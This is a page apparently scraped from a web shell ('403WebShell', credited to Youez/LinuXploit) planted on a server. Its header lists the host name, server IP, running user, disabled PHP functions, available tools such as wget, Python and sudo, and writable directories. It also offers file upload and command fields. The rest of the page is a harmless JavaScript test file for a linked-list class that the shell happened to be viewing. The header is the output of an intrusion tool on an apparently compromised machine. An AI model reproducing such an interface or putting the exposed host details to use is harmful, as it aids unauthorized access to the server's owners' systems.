Uname:Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

403WebShell
403Webshell
Server IP : 82.148.16.210  /  Your IP : 216.73.216.32
Web Server : nginx/1.29.5
System : Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/projects/env4/src/dev/frontend3/node_modules/table/node_modules/bottleneck/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/projects/env4/src/dev/frontend3/node_modules/table/node_modules/bottleneck/test/DLList.js
var DLList = require('../lib/DLList')
var assert = require('assert')
var c = require('./context')({datastore: 'local'})

var fakeQueues = function () {
  this._length = 0
  this.incr = () => this._length++
  this.decr = () => this._length--
  this.fns = [this.incr, this.decr]
}

describe('DLList', function () {

  it('Should be created and be empty', function () {
    var queues = new fakeQueues()
    var list = new DLList()
    c.mustEqual(list.getArray().length, 0)
  })

  it('Should be possible to append once', function () {
    var queues = new fakeQueues()
    var list = new DLList(...queues.fns)
    list.push(5)
    var arr = list.getArray()
    c.mustEqual(arr.length, 1)
    c.mustEqual(list.length, 1)
    c.mustEqual(queues._length, 1)
    c.mustEqual(arr[0], 5)
  })

  it('Should be possible to append multiple times', function () {
    var queues = new fakeQueues()
    var list = new DLList(...queues.fns)
    list.push(5)
    list.push(6)
    var arr = list.getArray()
    c.mustEqual(arr.length, 2)
    c.mustEqual(list.length, 2)
    c.mustEqual(queues._length, 2)
    c.mustEqual(arr[0], 5)
    c.mustEqual(arr[1], 6)

    list.push(10)

    arr = list.getArray()
    c.mustEqual(arr.length, 3)
    c.mustEqual(list.length, 3)
    c.mustEqual(arr[0], 5)
    c.mustEqual(arr[1], 6)
    c.mustEqual(arr[2], 10)
  })

  it('Should be possible to shift an empty list', function () {
    var queues = new fakeQueues()
    var list = new DLList(...queues.fns)
    c.mustEqual(list.length, 0)
    assert(list.shift() === undefined)
    var arr = list.getArray()
    c.mustEqual(arr.length, 0)
    c.mustEqual(list.length, 0)
    assert(list.shift() === undefined)
    arr = list.getArray()
    c.mustEqual(arr.length, 0)
    c.mustEqual(list.length, 0)
    c.mustEqual(queues._length, 0)
  })

  it('Should be possible to append then shift once', function () {
    var queues = new fakeQueues()
    var list = new DLList(...queues.fns)
    list.push(5)
    c.mustEqual(list.length, 1)
    c.mustEqual(list.shift(), 5)
    var arr = list.getArray()
    c.mustEqual(arr.length, 0)
    c.mustEqual(list.length, 0)
    c.mustEqual(queues._length, 0)
  })

  it('Should be possible to append then shift multiple times', function () {
    var queues = new fakeQueues()
    var list = new DLList(...queues.fns)
    list.push(5)
    c.mustEqual(list.length, 1)
    c.mustEqual(list.shift(), 5)
    c.mustEqual(list.length, 0)

    list.push(6)
    c.mustEqual(list.length, 1)
    c.mustEqual(list.shift(), 6)
    c.mustEqual(list.length, 0)
    c.mustEqual(queues._length, 0)
  })

  it('Should pass a full test', function () {
    var queues = new fakeQueues()
    var list = new DLList(...queues.fns)
    list.push(10)
    c.mustEqual(list.length, 1)
    list.push("11")
    c.mustEqual(list.length, 2)
    list.push(12)
    c.mustEqual(list.length, 3)
    c.mustEqual(queues._length, 3)

    c.mustEqual(list.shift(), 10)
    c.mustEqual(list.length, 2)
    c.mustEqual(list.shift(),"11")
    c.mustEqual(list.length, 1)

    list.push(true)
    c.mustEqual(list.length, 2)

    var arr = list.getArray()
    c.mustEqual(arr[0], 12)
    c.mustEqual(arr[1], true)
    c.mustEqual(arr.length, 2)
    c.mustEqual(queues._length, 2)
  })

  it('Should return the first value without shifting', function () {
    var queues = new fakeQueues()
    var list = new DLList(...queues.fns)
    assert(list.first() === undefined)
    assert(list.first() === undefined)

    list.push(1)
    c.mustEqual(list.first(), 1)
    c.mustEqual(list.first(), 1)

    list.push(2)
    c.mustEqual(list.first(), 1)
    c.mustEqual(list.first(), 1)

    c.mustEqual(list.shift(), 1)
    c.mustEqual(list.first(), 2)
    c.mustEqual(list.first(), 2)

    c.mustEqual(list.shift(), 2)
    assert(list.first() === undefined)
    assert(list.first() === undefined)

    assert(list.first() === undefined)
    assert(list.shift() === undefined)
    assert(list.first() === undefined)
  })

})

Youez - 2016 - github.com/yon3zu
LinuXploit